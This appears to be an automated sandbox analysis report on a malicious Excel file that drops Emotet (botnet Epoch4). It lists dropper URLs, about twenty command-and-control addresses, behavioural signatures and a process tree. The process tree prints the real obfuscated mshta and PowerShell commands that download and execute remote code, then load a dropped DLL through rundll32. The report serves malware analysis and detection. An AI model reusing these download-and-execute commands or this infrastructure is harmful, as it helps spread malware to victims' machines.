Analysis

  • max time kernel
    122s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    20/01/2022, 14:08

General

  • Target
    8a97d8de11cf90258135065f0f7b4366.xls
  • Size 141KB
  • Sample220120-rfkfwaacb7
  • SHA256 cb8ff98fc8e177a504db540af317736d47851af89e06bc763e4e81bb254099ad
  • MD5 SHA1 SHA512

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://0xb907d607/fer/fer.html

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://185.7.214.7/fer/fer.png

Extracted

Family
  • emotet

Botnet
  • Epoch4

C2
  • 131.100.24.231:80

  • 209.59.138.75:7080

  • 103.8.26.103:8080

  • 51.38.71.0:443

  • 212.237.17.99:8080

  • 79.172.212.216:8080

  • 207.38.84.195:8080

  • 104.168.155.129:8080

  • 178.79.147.66:8080

  • 46.55.222.11:443

  • 103.8.26.102:8080

  • 192.254.71.210:443

  • 45.176.232.124:443

  • 203.114.109.124:443

  • 51.68.175.8:8080

  • 58.227.42.236:80

  • 45.142.114.231:8080

  • 217.182.143.207:443

  • 178.63.25.185:443

  • 45.118.115.99:8080

eck1.plain
ecs1.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Downloads MZ/PE file
  • Loads dropped DLL 8 IoCs
  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 32 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 48 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\8a97d8de11cf90258135065f0f7b4366.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1512
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:848
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fer.html
        2⤵
        • Process spawned unexpected child process
        • Suspicious use of WriteProcessMemory
        PID:1900
        • C:\Windows\SysWOW64\mshta.exe
          mshta http://0xb907d607/fer/fer.html
          3⤵
          • Blocklisted process makes network request
          • Modifies Internet Explorer settings
          • Suspicious use of WriteProcessMemory
          PID:584
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fer.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
            4⤵
            • Blocklisted process makes network request
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:824
            • C:\Windows\SysWOW64\cmd.exe
              "C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:892
              • C:\Windows\SysWow64\rundll32.exe
                C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll AnyString
                6⤵
                • Loads dropped DLL
                • Suspicious use of WriteProcessMemory
                PID:876
                • C:\Windows\SysWOW64\rundll32.exe
                  C:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer
                  7⤵
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Suspicious use of WriteProcessMemory
                  PID:1600
                  • C:\Windows\SysWOW64\rundll32.exe
                    C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Icumjln\areaukbkikym.tnl",FCOWgRbY
                    8⤵
                    • Suspicious use of WriteProcessMemory
                    PID:880
                    • C:\Windows\SysWOW64\rundll32.exe
                      C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Icumjln\areaukbkikym.tnl",DllRegisterServer
                      9⤵
                      • Blocklisted process makes network request
                      • Suspicious behavior: EnumeratesProcesses
                      PID:1360

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

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          Downloads

          memory/824-63-0x0000000002410000-0x000000000305A000-memory.dmp

          memory/824-64-0x0000000004C80000-0x00000000052D1000-memory.dmp

          memory/824-62-0x0000000002410000-0x000000000305A000-memory.dmp

          memory/848-59-0x000007FEFB531000-0x000007FEFB533000-memory.dmp

          memory/876-71-0x0000000000270000-0x0000000000296000-memory.dmp

          memory/880-93-0x00000000001C0000-0x00000000001F6000-memory.dmp

          memory/1360-100-0x0000000000A80000-0x0000000000AA6000-memory.dmp

          memory/1360-108-0x0000000002860000-0x0000000002886000-memory.dmp

          memory/1360-115-0x0000000002B20000-0x0000000002B46000-memory.dmp

          memory/1360-114-0x0000000002B21000-0x0000000002B43000-memory.dmp

          memory/1360-112-0x00000000029C0000-0x00000000029E6000-memory.dmp

          memory/1360-110-0x0000000002920000-0x0000000002946000-memory.dmp

          memory/1360-106-0x0000000002750000-0x0000000002776000-memory.dmp

          memory/1360-104-0x00000000026A0000-0x00000000026C6000-memory.dmp

          memory/1360-102-0x00000000025C0000-0x00000000025E6000-memory.dmp

          memory/1360-98-0x0000000000380000-0x00000000003A6000-memory.dmp

          memory/1360-96-0x00000000002D0000-0x00000000002F6000-memory.dmp

          memory/1512-56-0x0000000070DD1000-0x0000000070DD3000-memory.dmp

          memory/1512-55-0x000000002F331000-0x000000002F334000-memory.dmp

          memory/1512-58-0x0000000075191000-0x0000000075193000-memory.dmp

          memory/1512-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/1512-116-0x000000005FFF0000-0x0000000060000000-memory.dmp

          memory/1600-91-0x0000000002930000-0x0000000002956000-memory.dmp

          memory/1600-88-0x0000000002720000-0x0000000002746000-memory.dmp

          memory/1600-86-0x00000000025D0000-0x00000000025F6000-memory.dmp

          memory/1600-82-0x0000000000BC0000-0x0000000000BE6000-memory.dmp

          memory/1600-80-0x0000000000390000-0x00000000003B6000-memory.dmp

          memory/1600-78-0x00000000001A0000-0x00000000001C6000-memory.dmp